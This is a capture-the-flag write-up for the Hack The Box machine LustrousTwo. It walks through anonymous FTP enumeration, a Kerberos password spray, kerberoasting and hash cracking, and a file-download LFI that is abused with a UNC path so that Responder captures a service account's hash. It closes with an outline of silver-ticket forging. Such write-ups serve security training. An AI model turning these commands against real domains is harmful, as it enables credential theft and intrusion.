writeup 2026-01-21 · 7 min read

Hack The Box LustrousTwo Writeup (Hard Windows)

Hard Windows AD box. Anonymous FTP leaks the user list, Summer2024! sprays into Emma.Bell, and a Kerberos only web app exposes a file download LFI.

Hack The Box LustrousTwo Writeup (Hard Windows)

Summary

LustrousTwo is a Kerberos only domain controller: NTLM is disabled, so SMB rejects both null and guest sessions and the IIS site on port 80 answers 401 with a Negotiate challenge. Anonymous FTP is open and hands over an audit draft listing the fixes already applied plus one still open finding, weak user passwords, next to a Homes directory that names every domain user. ASREPRoasting and a username as password list find nothing, but a kerbrute spray hits Emma.Bell with Summer2024!, and kerberoasting from that session cracks ShareSvc to #1Service. With a TGT in the cache and Firefox configured for Negotiate the web application finally renders, exposing a File/Download endpoint whose fileName parameter reads arbitrary paths, including UNC paths that make the server authenticate back to Responder as ShareSvc. The notes then sketch the rest without working it through: pull web.config, reverse the DLL it names for hidden endpoints, forge a silver ticket for a user allowed to reach them, get a shell as ShareSvc and escalate through Velociraptor.

Web Server Enumeration

The web server on port 80 returns me 401 Unauthorized right away:

Browser showing the 401 Unauthorized response from the IIS server on port 80

I start a directory bruteforcing to see if I can access any directories whatsoever, but it seems not:

1
ffuf -u http://10.129.242.166/FUZZ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-small-words-lowercase.txt -fc 401

I take a look at the headers, and it specifies “WWW-Authenticate: Negotiate”:

1
2
3
4
5
6
7
8
$ curl -I http://10.129.242.166/

HTTP/1.1 401 Unauthorized
Transfer-Encoding: chunked
Server: Microsoft-IIS/10.0
WWW-Authenticate: Negotiate
X-Powered-By: ASP.NET
Date: Tue, 25 Nov 2025 14:43:14 GMT

This type of authentication is for Kerberos auth:

Reference page explaining that a Negotiate authentication header means Kerberos

So I guess I need to find valid domain credentials first in order to access the web server.

SMB Server Enumeration

I try for null authentication to the SMB server with command:

1
nxc smb 10.129.242.166 -u '' -p '' --shares

But it tells me it’s not supported (NTLM authentication is disabled):

1
SMB         10.129.242.166  445    LUS2DC           [-] Lustrous2.vl\: STATUS_NOT_SUPPORTED

I add the following to /etc/hosts:

1
10.129.242.166 LUS2DC LUS2DC.lustrous2.vl lustrous2.vl

I try again but now it says KDC_ERR_ETYPE_NOSUPP so I guess “guest” is disabled:

1
2
3
$ nxc smb LUS2DC.lustrous2.vl -u 'guest' -p '' --shares -k 
SMB         LUS2DC.lustrous2.vl 445    LUS2DC           [*]  x64 (name:LUS2DC) (domain:lustrous2.vl) (signing:True) (SMBv1:False) (NTLM:False)
SMB         LUS2DC.lustrous2.vl 445    LUS2DC           [-] lustrous2.vl\guest: KDC_ERR_ETYPE_NOSUPP

Because I can try authenticating with a random username, and I get a different error message:

1
SMB         LUS2DC.lustrous2.vl 445    LUS2DC           [-] lustrous2.vl\hacker: KDC_ERR_C_PRINCIPAL_UNKNOWN

FTP Server Enumeration

FTP server has anonymous login enabled. I get everything from the ftp server:

1
wget -r ftp://LUS2DC.lustrous2.vl

After the command finishes, I use “find” to look for files:

1
2
$ find lus2dc.lustrous2.vl/ -type f
lus2dc.lustrous2.vl/ITSEC/audit_draft.txt

The audit_draft.txt file looks like this:

1
2
3
4
5
6
7
8
Audit Report Issue Tracking

[Fixed] NTLM Authentication Allowed
[Fixed] Signing & Channel Binding Not Enabled
[Fixed] Kerberoastable Accounts
[Fixed] SeImpersonate Enabled

[Open] Weak User Passwords

I can also find multiple home directories with many different usernames:

1
2
3
4
5
6
7
8
$ find lus2dc.lustrous2.vl/ -type d | grep Homes

lus2dc.lustrous2.vl/Homes
lus2dc.lustrous2.vl/Homes/Adam.Barnes
lus2dc.lustrous2.vl/Homes/Graeme.Pritchard
lus2dc.lustrous2.vl/Homes/Judith.Francis
lus2dc.lustrous2.vl/Homes/Nicola.Clarke
[SNIPPET]

I save all users to a text file. I try ASRepRoasting:

1
GetNPUsers.py -no-pass -usersfile users.txt lustrous2.vl/

But no user is vulnerable. I created a credentials.txt wordlist containing username:username combinations because I’ve seen a few instances where the user’s password is actually the user’s username. The command I used to create credentials.txt was:

1
awk '{print $1":"$1}' users.txt > credentials.txt

Hunting for Users

Then I used kerbrute to test it, but none is valid:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ kerbrute bruteforce --dc 10.129.242.166 -d lustrous2.vl credentials.txt 

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: v1.0.3 (9dad6e1) - 11/24/25 - Ronnie Flathers @ropnop

2025/11/24 19:17:43 >  Using KDC(s):
2025/11/24 19:17:43 >   10.129.242.166:88

2025/11/24 19:17:48 >  Done! Tested 71 logins (0 successes) in 5.449 seconds

I tried specific, highly common passwords like “Summer2024”, “Summer2024!”, “Fall2024”, “Fall2024!” and so on and eventually got a hit:

1
2
3
$ kerbrute passwordspray --dc 10.129.242.166 -d lustrous2.vl users.txt Summer2024!

2025/11/25 08:38:05 >  [+] VALID LOGIN:  Emma.Bell@lustrous2.vl:Summer2024!

Kerberos + Hosts Configuration

To make sure I had the proper krb5.conf file, I changed my DNS server to point to the machine IP:

1
2
3
$ cat /etc/resolv.conf 
nameserver 10.129.242.166
[snip]

Then I used netexec to create the krb5.conf file:

1
nxc smb lus2dc.lustrous2.vl -k -u emma.bell -p Summer2024! --generate-krb5-file krb5.conf --dns-server 10.129.242.166

It saves it to my current directory. I move it to /etc/:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ cat /etc/krb5.conf 

[libdefaults]
    dns_lookup_kdc = false
    dns_lookup_realm = false
    default_realm = LUSTROUS2.VL

[realms]
    LUSTROUS2.VL = {
        kdc = lus2dc.lustrous2.vl
        admin_server = lus2dc.lustrous2.vl
        default_domain = lustrous2.vl
    }

[domain_realm]
    .lustrous2.vl = LUSTROUS2.VL
    lustrous2.vl = LUSTROUS2.VL

I also use netexec to generate the proper hosts file:

1
nxc smb 10.129.242.166 -k -u emma.bell -p Summer2024! --generate-hosts-file hosts

I add it to my /etc/hosts:

1
10.129.242.166     LUS2DC.Lustrous2.vl Lustrous2.vl LUS2DC

And now I can probably remove the machine IP from my DNS server list (/etc/resolv.conf)

AD Enumeration

Kerberoasting

After getting credentials to a domain user, I perform a kerberoast:

1
nxc ldap 10.129.242.166 -k -u emma.bell -p Summer2024! --kerberoast k.log

Got one hit for sharesvc:

1
LDAP        10.129.242.166  389    LUS2DC           [*] sAMAccountName: ShareSvc, memberOf: [], pwdLastSet: 2024-09-06 10:27:51.535948, lastLogon: 2025-11-24 19:02:55.428994

I run hashcat against it:

1
hashcat k.log /usr/share/wordlists/rockyou.txt

After a long while, it cracks the hash, revealing the cleartext password for Sharesvc:

1
2
Username: ShareSvc
Password: #1Service

BloodHound

I list for tickets (there’s nothing here):

1
2
$ klist
klist: No credentials cache found (filename: /tmp/krb5cc_1000)

I do “kinit” as “emma.bell”, input her password and verify it works:

1
2
3
4
5
6
7
8
9
$ kinit emma.bell
Password for emma.bell@LUSTROUS2.VL: 
user@attackbox:~/hacking/htb/machines/hard/lustroustwo$ klist
Ticket cache: FILE:/tmp/krb5cc_1000
Default principal: emma.bell@LUSTROUS2.VL

Valid starting       Expires              Service principal
11/25/2025 11:38:49  11/25/2025 21:38:49  krbtgt/LUSTROUS2.VL@LUSTROUS2.VL
        renew until 11/26/2025 11:38:45

With the TGT ready I start rusthound-ce:

1
rusthound-ce -d lustrous2.vl -z -k -f LUS2DC.lustrous2.vl

It collects all the data, and I use it to ingest in Bloodhound. I go through bloodhound and I find nothing, no interesting misconfigurations at first glance.

Authenticated Web Server Enumeration

I change the following settings in my firefox configuration:

Firefox negotiate settings changed so the browser sends the Kerberos ticket

I access the web server at http://lus2dc.lustrous2.vl/ and now I see the actual web page since I have a valid TGT in use:

The file sharing page rendering once a valid TGT is in the cache

I can see I have the proper tickets if I run klist after accessing the website:

1
2
3
4
5
6
7
8
9
$ klist 
Ticket cache: FILE:/tmp/krb5cc_1000
Default principal: emma.bell@LUSTROUS2.VL

Valid starting       Expires              Service principal
11/25/2025 11:50:17  11/25/2025 21:50:17  krbtgt/LUSTROUS2.VL@LUSTROUS2.VL
        renew until 11/26/2025 11:50:14
11/25/2025 11:50:39  11/25/2025 21:50:17  HTTP/lus2dc.lustrous2.vl@LUSTROUS2.VL
        renew until 11/26/2025 11:50:14

Local File Inclusion

The web server allows me to download local files. If I hover over the download button I can see the URL where it’s making the request (http://lus2dc.lustrous2.vl/File/Download?fileName=):

Download link revealing the File/Download endpoint and its fileName parameter

I create a simple bash script to facilitate this process:

1
2
3
4
5
#!/bin/bash

filepath="audit.txt"

curl --negotiate -u : "http://lus2dc.lustrous2.vl/File/Download?fileName=$filepath"

I run it and it immediately gets me the file:

1
2
3
4
5
6
7
8
9
$ ./getfile.sh 
Audit Report Issue Tracking

[Fixed] NTLM Authentication Allowed
[Fixed] Signing & Channel Binding Not Enabled
[Fixed] Kerberoastable Accounts
[Fixed] SeImpersonate Enabled

[Open] Weak User Passwords

I change the filepath to be:

1
filepath="\\\\10.10.14.57\\share\\test.txt"

And I also start Responder:

1
# python3 Responder.py -I tun0

I run the script to get a hash for “ShareSvc”, but we already have their password.

Responder capturing the ShareSvc hash from the UNC path the server fetched

Get web.config to discover a DLL. Get the DLL. Reverse the DLL to discover hidden endpoints. Forge a ticket (silver ticket) to access the web server as a user that has permissions to access the hidden endpoints. Get a shell as ShareSvc. Escalate privs with Velociraptor.

This post is licensed under CC BY 4.0 by the author.